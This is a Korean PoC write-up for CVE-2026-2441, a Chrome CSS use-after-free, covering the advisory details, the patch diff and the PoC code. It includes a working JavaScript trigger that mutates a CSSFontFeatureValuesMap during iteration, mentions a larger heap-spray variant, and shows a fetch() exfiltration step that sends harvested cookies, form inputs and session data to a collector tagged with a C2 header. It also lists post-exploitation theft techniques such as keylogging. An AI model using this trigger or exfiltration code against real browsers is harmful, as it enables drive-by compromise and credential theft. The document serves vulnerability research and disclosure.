CVE-2026-2441에 대한 상세한 개념 증명(PoC) 및 기술 분석: 조작된 HTML 페이지를 통해 샌드박스 렌더러 RCE를 가능하게 하는 Chrome CSS use-after-free 취약점
| 필드 | 값 |
|---|
| CVE | CVE-2026-2441 |
| CVSS | 8.8 (High) |
| 유형 | Use-After-Free (CWE-416) |
| 구성 요소 | Blink CSS — CSSFontFeatureValuesMap |
| 소스 파일 | third_party/blink/renderer/core/css/css_font_feature_values_map.cc |
| 수정 커밋 | 63f3cb4864c64c677cd60c76c8cb49d37d08319c |
| 제보자 | Shaheen Fazim (2026-02-11) |
| 패치 날짜 | 2026-02-13 |
| 야생 악용 여부 | 예 — Google이 적극적인 악용을 확인함 |
| 플랫폼 | 취약한 버전 | 수정된 버전 |
|---|---|---|
| Windows / macOS (Stable) | < 145.0.7632.75 | >= 145.0.7632.75 |
| Linux (Stable) | < 144.0.7559.75 | >= 144.0.7559.75 |
| Windows / macOS (Extended Stable) | < 144.0.7559.177 | >= 144.0.7559.177 |
| Chromium 기반 브라우저 (Edge, Brave, Opera, Vivaldi) | 공급업체 권고 확인 | 브라우저별 상이 |
FontFeatureValuesMapIterationSource는 내부 FontFeatureAliases HashMap에 대한 원시 포인터(const FontFeatureAliases* aliases_)를 저장했습니다. 반복 중에 set() 또는 delete()를 통해 맵이 변경되면 HashMap이 리해싱(rehash)되면서 새 저장 공간을 할당하고 기존 공간을 해제합니다. 원시 포인터는 댕글링(dangling) 상태가 되고, 다음 FetchNextItem() 호출은 해제된 메모리를 읽게 됩니다.
CreateIterationSource()
→ FontFeatureValuesMapIterationSource(map, aliases_)
→ aliases_ = 내부 HashMap에 대한 raw pointer
→ iterator_ = aliases_->begin()
FetchNextItem()
→ iterator_->key 읽기 (aliases_ 경유)
반복 사이에 map.set() / map.delete()가 호출되면:
→ HashMap 리해싱 (새 할당, 기존 메모리 해제)
→ aliases_ → 댕글링 포인터
→ iterator_ → 무효화됨
→ 다음 FetchNextItem() → USE-AFTER-FREE
- const FontFeatureAliases* aliases_; // raw pointer → 리해싱 후 댕글링
+ const FontFeatureAliases aliases_; // deep copy → 리해싱에도 안전
이 수정은 원시 포인터를 HashMap의 딥 카피(deep copy) 로 대체합니다. 원본 맵이 리해싱되더라도 반복자는 자체 복사본에서 작동하므로 댕글링 포인터가 발생하지 않습니다.
poc.html을 엽니다.| Chrome 버전 | 예상 동작 |
|---|---|
| < 145.0.7632.75 (패치 전) | Renderer 크래시 — STATUS_ACCESS_VIOLATION (Windows) 또는 SIGSEGV (Linux/macOS). Chrome에 "이 페이지를 열 수 없습니다" 오류가 표시됩니다. |
| >= 145.0.7632.75 (패치 후) | 크래시 없음 — PoC가 끝까지 실행되며 모든 항목이 정상적으로 읽힙니다. |
PoC는 공격 체인을 명확하고 재현 가능한 순서로 보여주도록 구성되어 있습니다. 첫 번째 부분은 취약한 Blink/CSS 객체를 생성하고, 두 번째 부분은 반복자 무효화(iterator invalidation)를 트리거하며, 마지막 부분은 안전한 학술 환경에서 익스플로잇 이후의 효과를 시뮬레이션합니다.
중요 사항: UAF 트리거는 실제 브라우저에 노출된 CSS/JavaScript API를 통해 구현됩니다. 힙 누수 및 외부 유출(exfiltration) 대시보드는 무기화된 Chromium 익스플로잇을 배포하지 않기 위해 의도적으로 통제/시뮬레이션되었습니다.
페이로드는 먼저 CSS @font-feature-values 규칙을 정의합니다:
@font-feature-values VulnFont {
@styleset {
a0: 1; a1: 2; a2: 3; a3: 4;
a4: 5; a5: 6; a6: 7; a7: 8;
}
}
이 규칙은 Blink가 내부 CSSFontFeatureValuesMap을 생성하도록 합니다. 취약한 구현에서 이 맵에 대한 반복은 안전하지 않습니다. 반복자가 내부 FontFeatureAliases 저장 공간에 대한 원시 포인터를 유지하기 때문입니다.
이후 JavaScript 페이로드는 스타일시트에서 맵을 가져옵니다:
const sheet = document.getElementById("uaf-style").sheet;
const rule = sheet.cssRules[0];
const map = rule && rule.styleset;
이 시점에서 공격자가 제어하는 페이지는 내부 C++ 구현이 반복자 무효화에 취약한 브라우저 객체에 대한 JavaScript 핸들을 확보하게 됩니다.
트리거는 즉시 실행되지 않습니다. PoC는 취약한 시퀀스를 실행하기 전에 800 ms를 기다립니다:
setTimeout(triggerUAF, 800);
이 지연은 데모 안정성을 위한 것입니다. 메모리 손상 트리거가 실행되기 전에 페이지와 가짜 은행 인증 양식이 렌더링될 수 있게 합니다. 실제 드라이브바이(drive-by) 시나리오에서는 동일한 트리거가 악성 페이지가 로드되는 즉시 자동으로 실행될 수도 있습니다.
핵심 UAF 프리미티브는 다음 루프입니다:
const it = map.entries();
let step = 0;
while (step < 4) {
const res = it.next();
if (res.done) break;
const [key] = res.value;
map.delete(key);
map.set("uaf_" + step, [step, step + 1]);
step++;
}
취약점은 다음 작업 순서로 인해 트리거됩니다:
1. map.entries()가 CSSFontFeatureValuesMap에 대한 반복자를 생성합니다.
2. 취약한 Blink 구현에서 반복자는 내부 맵 저장 공간을 참조합니다.
3. it.next()는 해당 반복자를 통해 다음 항목을 읽습니다.
4. map.delete(key)는 반복자가 아직 살아있는 동안 동일한 맵을 변경합니다.
5. map.set(...)은 새 항목을 삽입하고 내부 HashMap의 리해싱을 강제할 수 있습니다.
6. 리해싱은 기존 저장 공간을 해제하거나 이동시킬 수 있습니다.
7. 반복자는 여전히 기존 저장 공간을 참조할 수 있습니다.
8. 따라서 다음 반복자 접근은 Use-After-Free가 될 수 있습니다.
원래의 공격적인 전략은 더 큰 힙 스프레이와 유사한 루프를 사용했습니다. 예를 들어 각 삭제 후 512개의 새 항목과 같은 수백 개의 요소를 삽입하는 방식입니다. 이는 더 강한 힙 압력을 만들고 재할당/재사용 가능성을 높입니다.
라이브 데모에서는 이를 4번의 변경 단계로 축소했습니다:
while (step < 4) {
// 반복자 읽기 + delete + set
}
이유는 실용적이면서도 교육적입니다: 512개 요소 스프레이는 종종 렌더러를 즉시 크래시시켰습니다. 크래시는 가용성(availability) 영향을 증명하는 데 유용하지만, 시뮬레이션된 데이터 탈취와 공격자 대시보드를 보여주는 나머지 데모를 방해합니다. 축소된 버전은 브라우저를 라이브 발표에 충분히 안정적으로 유지하면서도 취약한 반복자 무효화 로직을 여전히 입증합니다.
실제 무기화된 UAF 익스플로잇은 일반적으로 ASLR을 우회하기 위해 힙 또는 V8 포인터를 누출하는 메모리 공개(disclosure) 프리미티브가 필요합니다. 데모는 실제 임의 메모리 읽기를 구현하지 않습니다. 대신 미리 정의된 정적 범위에서 힙과 유사한 주소를 생성합니다:
const base = 0x55a000000000 + Math.floor(Math.random() * 0x200000);
heapLeak = {
raw: "0x" + base.toString(16).toUpperCase(),
base: "0x" + (base & ~0xfff).toString(16).toUpperCase()
};
이 값은 시뮬레이션된 힙 누수입니다:
0x55a000000000은 데모에서 사용하는 고정 힙 유사 시작 범위입니다.Math.random() * 0x200000은 작은 무작위 오프셋을 추가합니다.base & ~0xfff는 주소를 페이지 경계에 정렬합니다.목적은 실제 메모리 공개 익스플로잇을 구현하지 않고 ASLR 우회 누수가 공격자 대시보드에서 어떤 모습인지 보여주는 것입니다.
UAF 트리거와 시뮬레이션된 힙 누수 후, PoC는 수집된 양식 입력, 브라우저 상주 세션 데이터, DOM 스니펫, UAF 상태 및 시뮬레이션된 힙 누수를 포함하는 페이로드를 구성합니다. 페이로드는 로컬 공격자 백엔드로 전송됩니다:
await fetch("http://127.0.0.1:7777/collect", {
method: "POST",
headers: {
"Content-Type": "application/json",
"X-C2-Origin": "evil-tracker-cdn.xyz"
},
body: JSON.stringify(payload)
});
로컬 백엔드는 POST /collect에서 데이터를 수신하고 메모리에 저장한 후 Server-Sent Events(GET /events)를 통해 공격자 대시보드로 전달합니다. 이는 실제 공격의 C2(명령 및 제어)/외부 유출 단계를 로컬에서 통제된 환경으로 모델링한 것입니다.
document.cookie, localStorage, sessionStorage, 양식 입력 값 읽기fetch() / WebSocket / sendBeacon()을 통한 외부 유출addEventListener('keydown')을 통한 모든 키 입력 캡처별도의 샌드박스 탈출 취약점과 결합되는 경우:
Renderer RCE (CVE-2026-2441)
→ Mojo IPC 익스플로잇 → Browser 프로세스 RCE
→ 커널 익스플로잇 → 전체 시스템 장악
→ 악성코드 / 랜섬웨어 / 스파이웨어 설치
→ 파일 시스템 접근, 횡적 이동, 지속성 확보
유사한 브라우저 UAF를 사용한 실제 익스플로잇 체인:
이 취약점은 드라이브바이 다운로드(drive-by download) 를 통해 악용 가능합니다. 악성 페이지를 방문하는 것 외에 사용자 상호작용이 필요 없습니다:
chrome://flags/#site-isolation-trial-opt-out)| 날짜 | 이벤트 |
|---|---|
| 2026-02-11 | Shaheen Fazim이 취약점 신고 |
| 2026-02-13 | Google이 Chrome 145.0.7632.75/76 (Windows/macOS), 144.0.7559.75 (Linux) 출시 |
| 2026-02-13 | Google이 야생 악용 사실 인정 |
| 2026-02-16 | Vivaldi 및 Opera 수정 버전 출시 |
이 연구가 유용하다고 생각되신다면 커피 한 잔 사주시면 감사하겠습니다:
이 개념 증명은 교육 및 승인된 보안 연구 목적으로만 제공됩니다. 명시적 허가 없이 이 PoC를 시스템에 사용하는 것은 불법이며 비윤리적입니다. 작성자는 어떠한 오용에 대해서도 책임을 지지 않습니다.
MIT